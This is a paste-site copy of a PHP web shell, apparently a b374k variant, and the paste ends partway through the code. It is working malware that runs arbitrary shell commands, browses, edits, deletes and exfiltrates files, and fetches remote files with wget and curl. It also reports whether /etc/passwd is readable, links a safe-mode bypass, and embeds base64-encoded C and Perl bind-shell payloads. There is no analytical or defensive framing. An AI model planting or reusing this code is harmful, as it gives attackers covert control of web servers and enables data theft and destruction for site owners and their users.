· 10 years ago · Sep 13, 2016, 12:46 PM
1<?php
2@session_start();
3@set_time_limit(0);
4@error_reporting(0);
5@ini_set('log_errors',0);
6@ini_set('error_log',NULL);
7@ini_restore("safe_mode");
8@ignore_user_abort(FALSE);
9@ini_restore("open_basedir");
10@set_magic_quotes_runtime(0);
11@ini_restore("allow_url_fopen");
12@ini_set('max_execution_time',0);
13@ini_restore("disable_functions");
14@ini_restore("safe_mode_exec_dir");
15@ini_restore("safe_mode_include_dir");
16@ini_set('zlib.output_compression','Off');
17date_default_timezone_set('Etc/GMT');
18
19if(get_magic_quotes_gpc()){
20function stripslashes_array($array)
21{ return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
22$_POST = stripslashes_array($_POST);
23}
24
25$quotes = get_magic_quotes_gpc();
26if ($quotes == "1" or $quotes == "on")
27{ $quot = "<font style='color:yellow'>ON</font>";}
28else
29{ $quot = "<font style='color:#444444'>OFF</font>"; }
30
31$disablefunc = @ini_get("disable_functions");
32function showdisablefunctions() {
33if ($disablefunc=@ini_get("disable_functions"))
34{ return "<span style='color:yellow'>".$disablefunc."</span>"; }
35else
36{ return "<span style='color:#444444'>NONE</span>"; }
37}
38
39function ex($cfe) {
40$res = '';
41if (!empty($cfe)) {
42if(function_exists('exec')) {
43@exec($cfe,$res);
44$res = join("\n",$res);
45}
46elseif(function_exists('shell_exec')) {
47$res = @shell_exec($cfe);
48}
49elseif(function_exists('system')) {
50@ob_start();
51@system($cfe);
52$res = @ob_get_contents();
53@ob_end_clean();
54}
55elseif(function_exists('passthru')) {
56@ob_start();
57@passthru($cfe);
58$res = @ob_get_contents();
59@ob_end_clean();
60}
61elseif(@is_resource($f = @popen($cfe,"r"))) {
62$res = "";
63while(!@feof($f)) { $res .= @fread($f,1024); }
64@pclose($f);
65} else { $res = "Ex() Disabled!"; }
66}
67return $res;
68}
69
70function delete_option($file){
71if(!$win){
72@exe("rm -rf ".$file);
73if(file_exists($file) && is_file($file)){unlink($file);}
74elseif(file_exists($file) && is_dir($file)){rmdir($file);}
75}
76elseif($win){
77if(is_dir($file)){
78@exe("rd /s /q ".$file);
79if(file_exists($file)){rmdir($file);}
80}
81else {
82@exe("del /q /f ".$file);
83exe("rd /s /q ".$file);
84if(file_exists($file)){
85unlink($file);
86}
87}
88}
89}
90
91if(isset($_POST['rename'])){
92$old = $_POST['oldname'];
93$new = $_POST['newname'];
94@rename($pwd.$old,$pwd.$new);
95$file = $pwd.$new;
96}
97if(isset($_POST['chmod'])){
98$name = $_POST['name'];
99$value = $_POST['newvalue'];
100if (strlen($value)==3){
101$value = 0 . "" . $value;
102}
103@chmod($pwd.$name,octdec($value));
104$file = $pwd.$name;
105}
106if(isset($_POST['chmod_folder'])){
107$name = $_POST['name'];
108$value = $_POST['newvalue'];
109if (strlen($value)==3){
110$value = 0 . "" . $value;
111}
112@chmod($pwd.$name,octdec($value));
113$file = $pwd.$name;
114}
115
116function showstat($stat) {
117if ($stat=="on")
118{ return "<b><font style='color:yellow'>ON</font></b>"; }
119else
120{ return "<b><font style='color:#444444'>OFF</font></b>"; }
121}
122function testperl() {
123if (ex('perl -h'))
124{ return showstat("on"); }
125else
126{ return showstat("off"); }
127}
128function testfetch() {
129if(ex('fetch --help'))
130{ return showstat("on"); }
131else
132{ return showstat("off"); }
133}
134function testwget() {
135if (ex('wget --help'))
136{ return showstat("on"); }
137else
138{ return showstat("off"); }
139}
140function testoracle() {
141if (function_exists('ocilogon'))
142{ return showstat("on"); }
143else
144{ return showstat("off"); }
145}
146function testpostgresql() {
147if (function_exists('pg_connect'))
148{ return showstat("on"); }
149else
150{ return showstat("off"); }
151}
152function testmssql() {
153if (function_exists('mssql_connect'))
154{ return showstat("on"); }
155else
156{ return showstat("off"); }
157}
158function testcurl() {
159if (function_exists('curl_version'))
160{ return showstat("on"); }
161else
162{ return showstat("off"); }
163}
164function testmysql() {
165if (function_exists('mysql_connect'))
166{ return showstat("on"); }
167else
168{ return showstat("off"); }
169}
170
171
172if(isset($_GET['dl']) && ($_GET['dl'] != "")){
173$file = $_GET['dl'];
174$filez = @file_get_contents($file);
175header("Content-type: application/octet-stream");
176header("Content-length: ".strlen($filez));
177header("Content-disposition: attachment; filename=\"".basename($file)."\";");
178echo $filez;
179exit;
180}
181
182elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
183$file = $_GET['dlgzip'];
184$filez = gzencode(@file_get_contents($file));
185header("Content-Type:application/x-gzip\n");
186header("Content-length: ".strlen($filez));
187header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
188echo $filez;
189exit;
190}
191
192
193if(isset($_GET['img'])){
194@ob_clean();
195$d = isset($_GET['img'])? $_GET['img']:"";
196$f = $_GET['img'];
197$inf = @getimagesize($d.$f);
198$ext = explode($f,".");
199$ext = $ext[count($ext)-1];
200@header("Content-type: ".$inf["mime"]);
201@header("Cache-control: public");
202@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
203@header("Cache-control: max-age=".(60*60*24*7));
204@readfile($d.$f);
205die();
206}
207
208$software = getenv("SERVER_SOFTWARE");
209if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
210$system = @php_uname();
211if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE;
212if(isset($_GET['azzatssins'])){
213if(@is_dir($_GET['view'])){
214$pwd = $_GET['view'];
215@chdir($pwd);
216}
217else{
218$pwd = $_GET['azzatssins'];
219@chdir($pwd);
220}
221}
222if(!$win){
223if(!$user = rapih(exe("whoami"))) $user = "";
224if(!$id = rapih(exe("id"))) $id = "";
225$prompt = $user." \$] ";
226$pwd = @getcwd().DIRECTORY_SEPARATOR;
227}
228else {
229$user = @get_current_user();
230$id = $user;
231$prompt = $user." >";
232$pwd = realpath(".")."\\";
233$v = explode("\\",$d);
234$v = $v[0];
235foreach (range("A","Z") as $letter) {
236$bool = @is_dir($letter.":\\");
237if ($bool) {
238$letters .= "<a href=\"?azzatssins=".$letter.":\\\"><span class=\"infodmx\">[ ";
239if ($letter.":" != $v)
240{ $letters .= $letter; }
241else
242{ $letters .= "<span style=\"color:#444444\"/>".$letter."</span>";}
243$letters .= " ]</span> </a>";
244}
245}
246}
247if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
248$bytes = disk_free_space(".");
249$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
250$base = 1024;
251$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
252$totalspace_bytes = disk_total_space(".");
253$totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
254$totalspace_bases = 1024;
255$totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
256$totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
257$freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
258$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
259$my_ip = $_SERVER['REMOTE_ADDR'];
260$server_admin=$_SERVER['SERVER_ADMIN'];
261$gat = $_SERVER['GATEWAY_INTERFACE'];
262$pro = $_SERVER['SERVER_PROTOCOL'];
263$readdr = $_SERVER['REMOTE_ADDR'];
264$uagent = $_SERVER['HTTP_USER_AGENT'];
265$xforwarded = $_SERVER['HTTP_X_FORWARDED_FOR'];
266$signature = $_SERVER['SERVER_SIGNATURE'];
267$serport = $_SERVER['SERVER_PORT'];
268$remport = $_SERVER['REMOTE_PORT'];
269$bindport = "13123";
270$bindport_pass = "b374k";
271$etc_passwd=@is_readable("/etc/passwd")?"<b><span style=\"color:#444444\"/>ON</span></b>":"<b><span style=\"color:yellow\"/>DISABLE</span></b>";
272$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
273$pwdurl = "";
274for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
275$pathz = "";
276for($j = 0 ; $j <= $i ; $j++)
277{ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; }
278$pwdurl .= "<a href=\"?azzatssins=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
279}
280
281
282$buff .= "<nobr><b><span class=\"dminfox\">Software</span> : <span style=\"color:#444444\"/>" . $software . "</span></b></nobr><br/>";
283$buff .= "<nobr><b><span class=\"dminfox\">System</span> : <span style=\"color:#444444\"/>".$system."</span></b></nobr><br />";
284$buff .= "<nobr><b><span class=\"dminfox\">Webmaster</span> : "."<b><span style='color:#444444'>$server_admin</span></b>"." <b><span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Date : <b><span style=\"color:#444444\"/>".date("d M Y H:i:s",time())."</b><br/>";
285if($id != "")
286$buff .= "<nobr><span class=\"dminfox\">User</span> : <b><span style=\"color:#444444\"/>" . $id . "</span></b><nobr><br />";
287$buff .= "<nobr><span class=\"dminfox\">Server IP</span> : <b><span style=\"color:#444444\"/>".$server_ip."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Server Port</span> : <b><span style=\"color:#444444\"/>".$serport."</span></b></nobr><br/>";
288$buff .= "<nobr><span class=\"dminfox\">Your IP</span> : <b><span style=\"color:#444444\"/>".$my_ip."</span>
289<span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Real IP</span> : <b><span style=\"color:#444444\"/>".$xforwarded."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Remote Port</span> : <b><span style=\"color:#444444\"/>".$remport."</span> </b></nobr><br/>";
290$buff .= "<nobr><span class=\"dminfox\">Total HDD</span> : "."<b><span style='color:#444444'>$totalspace_show</span>"." <b><span class=\"infodmx\">||</span></b> "."<span class=\"depan\">Free HDD</span> : "."<b><span style='color:#444444'>$freespace_show</span>"."</b></nobr><br/>";
291$buff .= "<nobr><span class=\"dminfox\">PHP ver</span> : <b><span style='color:#444444'>".phpversion()."</span> <span class=\"infodmx\">||</span></b>
292<span class=\"dminfox\">Gateway</span> : <b><span style='color:#444444'>".$gat."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Protocol</span> : <b><span style='color:#444444'>".$pro."</span></b></nobr><br/>";
293
294if($safemode)
295$buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:yellow\">ON</span> [ <a href='?azzatssins=$pwd&x=safemodeoff'>BYPASS</a> ]</b><br />";
296else $buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:#444444\">OFF</span> <span class=\"infodmx\">||</span></b> <span class=\"depan\">Magic Quotes</span> : <b><span style=\"color:#444444\"/>".$quot."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Read /etc/passwd</span> : "."<span style='color:#444444'>$etc_passwd</span>"."<br />";
297$buff .= "<nobr><span class=\"dminfox\">MySQL</span> : <b><span style=\"color:#444444\"/>".testmysql()." <span class=\"infodmx\">||</span></b>
298<span class=\"dminfox\">MSSQL :</span><b> <span style=\"color:#444444\"/>".testmssql()."</span> <span class=\"infodmx\">||</span></b>
299<span class=\"dminfox\">Oracle :</span><b> <span style=\"color:#444444\"/>".testoracle()."</span> <span class=\"infodmx\">||</span></b>
300<span class=\"dminfox\">PostgreSQL :</span><b> <span style=\"color:#444444\"/>".testpostgresql()."</span></b> </nobr><br/>";
301$buff .= "<nobr><span class=\"dminfox\">Curl</span> : <b><span style=\"color:#444444\"/>".testcurl()."</span> <span class=\"infodmx\">||</span></b>
302<span class=\"dminfox\">WGet</span> : <b><span style=\"color:#444444\"/>".testwget()."</span> <span class=\"infodmx\">||</span></b>
303<span class=\"dminfox\">Fetch</span> : <b><span style=\"color:#444444\"/>".testfetch()."</span> <span class=\"infodmx\">||</span></b>
304<span class=\"dminfox\">Perl</span> : <b><span style=\"color:#444444\"/>".testperl()."</span></b></nobr><br/>";
305$buff .= "<span class=\"dminfox\">Disabled Functions</span> : <span style=\"color:#444444\">".showdisablefunctions()."<br />";
306$buff .= $letters."<span class=\"dminfox\">Directory : ".$pwdurl."</span><br /><br />";
307
308function rapih($text){
309return trim(str_replace("<br />","",$text));
310}
311function magicboom($text) {
312if(!get_magic_quotes_gpc())
313{
314return $text;
315}
316return stripslashes($text);
317}
318
319
320function showdir($pwd,$prompt){
321$fname = array();
322$dname = array();
323if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
324else $posix = FALSE;
325$user = "????:????";
326if($dh = opendir($pwd)){
327while($file = readdir($dh)){
328if(is_dir($file))
329{ $dname[] = $file; }
330elseif(is_file($file))
331{ $fname[] = $file; }
332}
333closedir($dh);
334}
335sort($fname);
336sort($dname);
337$path = @explode(DIRECTORY_SEPARATOR,$pwd);
338$tree = @sizeof($path);
339$parent = "";
340
341
342// Membuat 2 Form Input CMD n DIRectory Di Main Page //
343$buff = "<form action=\"?azzatssins=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
344<table class=\"cmdbox\" style=\"width:50%;\">
345
346<tr>
347<td><nobr><b>CMD</b></nobr></td>
348<td><!-- onMouseOver=\"this.focus();\" --><nobr><input id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:300px;\" value=\"\" />
349<input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" />
350</nobr>
351</form>
352</td>
353</tr>
354
355<tr>
356<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
357<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
358<td><nobr><b>DIR</b></nobr></td>
359
360<td><nobr><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:300px;\" value=\"".$pwd."\" /> <input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" /></nobr></form>
361</td>
362</tr>
363</table>
364
365<p><table class=\"explore\"><tr>
366<th style=\"width:200px;\"><strong><span class='b3'>_NAME_</span></strong></th>
367<th style=\"width:70px;\"><strong><span class='b3'>_DIR / SIZE_</span></strong></th>
368<th style=\"width:70px;\"><strong><span class='b3'>_CHMOD_</span></strong></th>
369<th style=\"width:150px;\"><strong><span class='b3'>_OWNER : GROUP_</span></strong></th>
370<th style=\"width:140px;\"><strong><span class='b3'>_LAST ACCESS_</span></strong></th>
371<th style=\"width:150px;\"><strong><span class='b3'>_ACTION_</span></strong></th></tr>";
372
373if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
374else $parent = $pwd;
375foreach($dname as $folder){
376if($folder == ".") {
377if(!$win && $posix){
378$name=@posix_getpwuid(@fileowner($folder));
379$group=@posix_getgrgid(@filegroup($folder));
380$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; }
381else {
382$owner = $user;
383}
384$buff .= "<tr>
385<td><a href=\"?azzatssins=".$pwd."\"><img src='data:image/png;base64,R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs='>$folder</a></td>
386<td align=center>-</td>
387<td align=center>".substr(sprintf('%o', fileperms($pwd)), -4)."</td>
388<td align=center>".$owner."</td>
389<td align=center>".date("d-M-Y H:i",@fileatime($pwd))."</td>
390<td align=center><span id=\"titik1\">
391<a href=\"?azzatssins=$pwd&edit=".$pwd."new.php\">[ +FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik1','titik1_form');\"> [ +FOLDER ]</a></span>
392<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
393<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
394<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
395<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
396</form>
397</td></tr>";
398}
399
400elseif($folder == "..") {
401if(!$win && $posix){
402$name=@posix_getpwuid(@fileowner($folder));
403$group=@posix_getgrgid(@filegroup($folder));
404$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
405}
406else { $owner = $user; }
407$buff .= "<tr>
408<td><a href=\"?azzatssins=".$parent."\"><img src='data:image/png;base64,R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs='/>$folder</a></td>
409<td align=center>-</td>
410<td align=center>".substr(sprintf('%o', fileperms($parent)), -4)."</td>
411<td align=center>".$owner."</td>
412<td align=center>".date("d-M-Y H:i",@fileatime($parent))."</td>
413<td align=center><span id=\"titik2\"><a href=\"?azzatssins=$pwd&edit=".$parent."new.php\">[+FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik2','titik2_form');\"> [ +FOLDER ]</a></span>
414<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
415<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
416<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
417<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
418</form>
419</td>
420</tr>";
421} else {
422if(!$win && $posix){
423$name=@posix_getpwuid(@fileowner($folder));
424$group=@posix_getgrgid(@filegroup($folder));
425$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
426}
427else { $owner = $user; }
428$buff .= "<tr>
429<td>
430<a id=\"".clearspace($folder)."_link\" href=\"?azzatssins=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,
431R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///
432nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='/> $folder </a>
433
434<form action=\"?azzatssins=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
435<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
436<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
437<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
438<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
439</form>
440</td>
441<td align=center>FOLDER</td>
442<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">
443".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."</a>
444<form action=\"?azzatssins=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
445<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
446<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
447<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
448<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></td>
449<td align=center>".$owner."</td>
450<td align=center>".date("d-M-Y H:i",@fileatime($folder))."</td>
451<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">[ REN ] </a><span class=\"infodmx\">||</span><a href=\"?azzatssins=$pwd&fdelete=".$pwd.$folder."\"> [ DEL ]</a>
452</td></tr>";
453}
454}
455
456foreach($fname as $file){
457$full = $pwd.$file;
458if(!$win && $posix){
459$name=@posix_getpwuid(@fileowner($file));
460$group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else {
461$owner = $user;
462}
463$buff .= "<tr>
464<td><a id=\"".clearspace($file)."_link\" href=\"?azzatssins=$pwd&view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' /> $file</a><form action=\"?azzatssins=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
465<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
466<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
467<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
468<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
469</form></td>
470<td align=center>".ukuran($full)."</td>
471<td align=center><a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".substr(sprintf('%o', fileperms($full)), -4)."</a><form action=\"?azzatssins=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
472<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
473<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
474<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
475<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" />
476</form></center></td>
477<td align=center>".$owner."</td>
478<td align=center>".date("d-M-Y H:i",@fileatime($full))."</td>
479<td align=center><a href=\"?azzatssins=$pwd&edit=$full\">[E]</a>
480<span class=\"infodmx\">||</span>
481<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">[R]</a>
482<span class=\"infodmx\">||</span>
483<a href=\"?azzatssins=$pwd&delete=$full\">[X]</a>
484<span class=\"infodmx\">||</span>
485<a href=\"?azzatssins=$pwd&dl=$full\">[D]</a>
486</td></tr>";
487}
488$buff .= "</table></p>";
489return $buff;
490}
491
492// Fungsi Ukuran Besar Jenis File
493function ukuran($file){
494if($size = @filesize($file)){
495if($size <= 1024) {
496return "$size B";
497} else {
498if($size <= 1024*1024) {
499$size = @round($size / 1024,2);;
500return "$size KB";
501} else {
502$size = @round($size / 1024 / 1024,2);
503return "$size MB";
504}
505}
506}
507else return "???";
508}
509
510function exe($cmd){
511if(function_exists('system')) {
512@ob_start();
513@system($cmd);
514$buff = @ob_get_contents();
515@ob_end_clean();
516return $buff;
517}
518elseif(function_exists('exec')) {
519@exec($cmd,$results);
520$buff = "";
521foreach($results as $result){
522$buff .= $result;
523}
524return $buff;
525}
526elseif(function_exists('passthru')) {
527@ob_start();
528@passthru($cmd);
529$buff = @ob_get_contents();
530@ob_end_clean();
531return $buff;
532}
533elseif(function_exists('shell_exec')){
534$buff = @shell_exec($cmd);
535return $buff;
536}
537}
538
539// Fungsi Tulis NewFile //
540function tulis($file,$text){
541$textz = gzinflate(base64_decode($text));
542if($filez = @fopen($file,"w")) {
543@fputs($filez,$textz);
544@fclose($file);
545}
546}
547
548// Fungsi Upload Dari Url //
549function ambil($link,$file) {
550if($fp = @fopen($link,"r")){
551while(!feof($fp)) {
552$cont.= @fread($fp,1024);
553}
554@fclose($fp);
555$fp2 = @fopen($file,"w");
556@fwrite($fp2,$cont);
557@fclose($fp2);
558}
559}
560function which($pr){
561$path = exe("which $pr");
562if(!empty($path)) {
563return trim($path);
564} else {
565return trim($pr);
566}
567}
568function download($cmd,$url){
569$namafile = basename($url);
570switch($cmd) {
571case 'wwget':
572exe(which('wget')." ".$url." -O ".$namafile);
573break;
574case 'wlynx':
575exe(which('lynx')." -source ".$url." >".$namafile);
576break;
577case 'wfread' :
578ambil($wurl,$namafile);
579break;
580case 'wfetch' :
581exe(which('fetch')." -o ".$namafile." -p ".$url);
582break;
583case 'wlinks' :
584exe(which('links')." -source ".$url." >".$namafile);
585break;
586case 'wget' :
587exe(which('GET')." ".$url." >".$namafile);
588break;
589case 'wcurl' :
590exe(which('curl')." ".$url." -o ".$namafile);
591break;
592default:
593break;
594}
595return $namafile;
596}
597
598// Fungsi array utk CHMOD / permission //
599function get_perms($file) {
600if($mode=@fileperms($file)){
601$perms='';
602$perms .= ($mode & 00400) ? 'r' : '-';
603$perms .= ($mode & 00200) ? 'w' : '-';
604$perms .= ($mode & 00100) ? 'x' : '-';
605$perms .= ($mode & 00040) ? 'r' : '-';
606$perms .= ($mode & 00020) ? 'w' : '-';
607$perms .= ($mode & 00010) ? 'x' : '-';
608$perms .= ($mode & 00004) ? 'r' : '-';
609$perms .= ($mode & 00002) ? 'w' : '-';
610$perms .= ($mode & 00001) ? 'x' : '-';
611return $perms;
612}
613else return "?????";
614}
615
616function clearspace($text){
617return str_replace(" ","_",$text);
618}
619
620// Fungsi NetSploit //
621$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
622$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
